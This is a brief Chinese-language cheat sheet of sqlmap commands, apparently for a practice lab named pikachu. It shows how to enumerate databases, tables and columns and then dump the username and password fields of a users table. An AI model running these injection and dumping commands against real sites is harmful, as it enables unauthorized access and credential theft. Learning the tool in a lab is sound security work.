sqlmap在cmd中打开方法

python sqlmap.py -h

注入常用命令：

python sqlmap.py -u “URL” –dbs –batch    （库）

python sqlmap.py -u “URL” –D pikachu --tables –batch    （表名（pikachu数据库））

python sqlmap.py -u “URL” –D pikachu -T users --columns –batch      （列名（users表））

python sqlmap.py -u “URL” –D pikachu -T users -C username,password --dump –batch      （字段值（username和password列））

(如果不小心把sqlmap玩坏了，用python sqlmap.py –purge回车即可)